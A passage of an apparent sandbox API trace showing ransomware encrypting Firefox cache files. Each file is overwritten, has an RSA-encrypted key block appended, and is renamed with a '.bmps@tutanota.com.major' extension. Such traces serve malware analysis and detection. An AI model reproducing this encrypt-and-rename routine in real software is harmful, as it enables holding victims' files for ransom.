lpNumberOfBytesRead=0x2e3f9b4*=0x15261, lpOverlapped=0x0) returned 1 [0261.600] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-86625, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.600] WriteFile (in: hFile=0x1b84, lpBuffer=0x345b2b8*, nNumberOfBytesToWrite=0x15261, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x345b2b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15261, lpOverlapped=0x0) returned 1 [0261.600] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x15261 [0261.600] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.601] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.601] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0261.601] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0261.601] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0261.601] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="XGzdRhns7J8BjAtXePv60LaGfF1qYO9uy98/8vWpAf/Umz1urrQ6TEZlLpvmbCVw\n3yaGGhimZp1R9t//BBxRYylFZ8+Hog0q0unmFNAY8EQ4rICpGmzjbOxP8ETyYzGO\nCdlcvVMicrCd0+oc5DOG9zS8NE6bl6UeZ0S/pWxxPacif4QvkQIi/qfwp8kw6vNu\nnycCAL+tAdUFbrUjRNdfaFW06IudIwY5iZBLzgpQDKYWfKBSptStOywz0c0N7ASi\npJUo8Iri7KMHfp+ePX2IB9j3quWKHkksNt4o24V+f0AEX1QaiZMIjzWoB7BraLAv\nBDRu6zadv+WJQtWYOtG7JA==\n", pcchString=0x2e3f9a8) returned 1 [0261.601] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0261.602] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.602] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.602] CloseHandle (hObject=0x1b84) returned 1 [0261.602] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8E46B30B8A6CD2DC14E8C6957D0707ABC329598F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8e46b30b8a6cd2dc14e8c6957d0707abc329598f"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8E46B30B8A6CD2DC14E8C6957D0707ABC329598F.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8e46b30b8a6cd2dc14e8c6957d0707abc329598f.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0261.604] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0261.604] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8DB62C64DCFF7E1003C3E4440ADCDB338E0EC130", dwFileAttributes=0x80) returned 1 [0261.604] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0x14847, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0x14847, lpOverlapped=0x0) returned 1 [0261.720] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-84039, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.720] WriteFile (in: hFile=0x1b84, lpBuffer=0x345a898*, nNumberOfBytesToWrite=0x14847, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x345a898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14847, lpOverlapped=0x0) returned 1 [0261.721] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14847 [0261.721] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.721] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.721] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0261.721] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0261.721] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0261.721] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="GX+Q56Ioqbb6QoKjzasAQ8zzzA/n1Eun3PQZp4pwafavOAKl2hpeiACCVaefSI4E\nhGBcJI31PngdIgODGGNPLFc2m/6PaRLg2G0y6veE11VmpkWcRh4Zmi1X93i/8wSp\nHYUN96AhL+/KQgD9e7WVyp+3TcYDfOmYDrXqkqzsulzJreT8L3xDv4qPpsF4jC74\nqVjZ4bdybJEYjtUI4GDoQMJumzlA/hO3AupFRLWxorOZwzBLm1NNRXR2UITA5V5b\n6LcxCWVbqY4nTXcea6er/PfwX4FHUjNKZzcw6K1I4+nyG5c+D6q7Oj+02QhhjOhE\n7k7niM39dx9AnNuwAgevcA==\n", pcchString=0x2e3f9a8) returned 1 [0261.721] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0261.722] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.722] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.722] CloseHandle (hObject=0x1b84) returned 1 [0261.722] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8DB62C64DCFF7E1003C3E4440ADCDB338E0EC130" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8db62c64dcff7e1003c3e4440adcdb338e0ec130"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8DB62C64DCFF7E1003C3E4440ADCDB338E0EC130.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8db62c64dcff7e1003c3e4440adcdb338e0ec130.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0261.724] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0261.724] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8D42CCDFDB62B35CD60A1498C713514C29CD6D49", dwFileAttributes=0x80) returned 1 [0261.725] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0xb13, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0xb13, lpOverlapped=0x0) returned 1 [0261.783] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2835, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.783] WriteFile (in: hFile=0x1b84, lpBuffer=0x3440350*, nNumberOfBytesToWrite=0xb13, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3440350*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb13, lpOverlapped=0x0) returned 1 [0261.784] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb13 [0261.784] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.784] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.784] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0261.784] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0261.784] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0261.785] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="sYYo8gQJLnLxMTUolv2dLc0j/59LxaLDHirBysmeh+kerik197yvSihXEn5m6c7w\nNXM5alE6N2KY89jkQ5V2Lph1ldnndZp6500s3Jto0/1SEpywa+4uPozScRnX5gfd\numltD5IO8/dVHp7e9OZrZciLtiwWeeKckA811Zp+gtqln3vg7AuH+tof6sDpZjJ2\nIu+9lCId+bKH47cX8U9m2wEQ9cHXRTL3Je8PD+KukPntbovbHCb+1xN62dPcok6w\n5BWovk5xo5qY5ICAntT35qAs9yX782B3sDit31p9VKkavuYdKkj2d8dz2EVfyN9Y\n8rUGnresXJTMQgVa/eQorw==\n", pcchString=0x2e3f9a8) returned 1 [0261.785] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0261.785] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.785] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.785] CloseHandle (hObject=0x1b84) returned 1 [0261.785] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8D42CCDFDB62B35CD60A1498C713514C29CD6D49" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8d42ccdfdb62b35cd60a1498c713514c29cd6d49"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8D42CCDFDB62B35CD60A1498C713514C29CD6D49.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8d42ccdfdb62b35cd60a1498c713514c29cd6d49.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0261.788] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0261.788] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8C485AAB55CF31B760712B22FB3F3AB91A5E2021", dwFileAttributes=0x80) returned 1 [0261.788] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0xdff, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0xdff, lpOverlapped=0x0) returned 1 [0261.828] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.828] WriteFile (in: hFile=0x1b84, lpBuffer=0x3440638*, nNumberOfBytesToWrite=0xdff, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3440638*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdff, lpOverlapped=0x0) returned 1 [0261.829] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdff [0261.829] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.829] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.830] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0261.830] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0261.830] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0261.830] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5ihoOu1rZydmmUdw9VmSeKy2rXCYZtsh9ZU8qqOkEFh1UGO00aNedcs2mBTzECZY\naui05Qc3K/ylaqEwn2XvY2IYsBx10tHFnWMWW0gbl97rSZTkYX0zgkLg/6kNuqIf\nTuqsULt2wPQXaZHcBs+fBnzKnoixiDx+3LgmtuAOmqckuLJeKFkYihY/Hkww8WgO\nuj1zg8p2xi98pXLcXUTkLq6BOjk1tPJkoyrxD+MV7+eHo49Q5poyStdjsiV8YYq7\n+fJ/EtnJsM2NZAtPjR9PWeAaHZXJyG5Ob4lhbopXGGYPf7lvoA18phjeuZUUxkju\nryOGszG9a6sB8BDlmkEgmg==\n", pcchString=0x2e3f9a8) returned 1 [0261.830] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0261.830] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.830] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.831] CloseHandle (hObject=0x1b84) returned 1 [0261.831] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8C485AAB55CF31B760712B22FB3F3AB91A5E2021" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8c485aab55cf31b760712b22fb3f3ab91a5e2021"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8C485AAB55CF31B760712B22FB3F3AB91A5E2021.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8c485aab55cf31b760712b22fb3f3ab91a5e2021.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0261.833] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0261.833] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8C464319D7DA26EEEF0DC70D0E126016B1661BE9", dwFileAttributes=0x80) returned 1 [0261.833] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0xdfc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0xdfc, lpOverlapped=0x0) returned 1 [0261.841] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3580, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.841] WriteFile (in: hFile=0x1b84, lpBuffer=0x3440638*, nNumberOfBytesToWrite=0xdfc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3440638*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdfc, lpOverlapped=0x0) returned 1 [0261.842] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdfc [0261.842] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.842] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.842] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0261.843] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0261.843] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0261.843] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="eVBjnhdUTobqwcddx3EBrT+n+KzKwyjzjhw5TYFAGkOI4EEzBpxqE3xsLAbNDMvI\nMNyIDVXxQk4Q/1lyJ+yE2eMhBacQEbPQN0F/pw2qYr+Gox+vn1v7KFSUBwc9sli+\nHXgeUbVXYjKqfU7PR2QdwUVR8NmdYCUKnNItnZ/mvdyjsfq4iFkgjU3zvVheQ3gt\nDvl3Uv1LCbHVfrnuAAJDjZAErCAwIMlNQBKEmOfe+S5HzyiTzqBMn7BUO+8BLuAD\nGC1uLg9D4cnT8pJso4x4aZCGvldh4Y3UJ2b8a7gXLeq9FQwpYtaj7JnQzla67Tor\nZvkhQwFc96opNVrNZ3lyZA==\n", pcchString=0x2e3f9a8) returned 1 [0261.843] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0261.843] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.843] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.844] CloseHandle (hObject=0x1b84) returned 1 [0261.844] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8C464319D7DA26EEEF0DC70D0E126016B1661BE9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8c464319d7da26eeef0dc70d0e126016b1661be9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8C464319D7DA26EEEF0DC70D0E126016B1661BE9.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\8c464319d7da26eeef0dc70d0e126016b1661be9.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0261.845] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0261.845] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8C23783988FE2DC0BDAE02B1A35CCD9FACF16B36", dwFileAttributes=0x80) returned 1 [0261.846] ReadFile (in: hFile=0x1b84, lpBuffer=0x343f830, nNumberOfBytesToRead=0x11f2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343f830*, lpNumberOfBytesRead=0x2e3f9b4*=0x11f2, lpOverlapped=0x0) returned 1 [0261.888] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4594, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0261.888] WriteFile (in: hFile=0x1b84, lpBuffer=0x3440a30*, nNumberOfBytesToWrite=0x11f2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3440a30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11f2, lpOverlapped=0x0) returned 1 [0261.888] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11f2 [0261.888] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.888] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.889] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0261.889] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0261.889] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0261.889] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lhlHldcbAECE82ROh8/SqqPAoH7ly0nLBDVBe4MNiQBBg4HZHiKttIFeFujQe/wB\nju4pMVgnkWpl61OZ1JTwWesEPlFMCQGsuu6+Kw6SNsyztSrQtRQ1XP9vMJAYavKR\nIYRzOU/QCgy1xmP4eGDBN2HfKdwqJo3SWwolTJvB/n1I7yWJvsZ3CgFrKO8sMbdX\nXuULDo+0a8QNjAHXo29UNb5YJ3u8fZf8l3iHTMOGpeJCu8+bSNnECJyLnbwZR8NY\noeTFDubC0LusP8499CBESaSOLiFSXnUo37VPPRuWpOdc/F+jkLCg43+IBKMQ9/uD\nWPGUuoPOFqO5pSE3YDNuAA==\n", pcchString=0x2e3f9a8) returned 1 [0261.889] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0261.889] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0261.889] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0261.890] CloseHandle (hObject=0x1b84) returned 1 [0261.890] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\8C23783988FE2DC0BDAE02B1A35CCD9FACF16B36" (normalized: 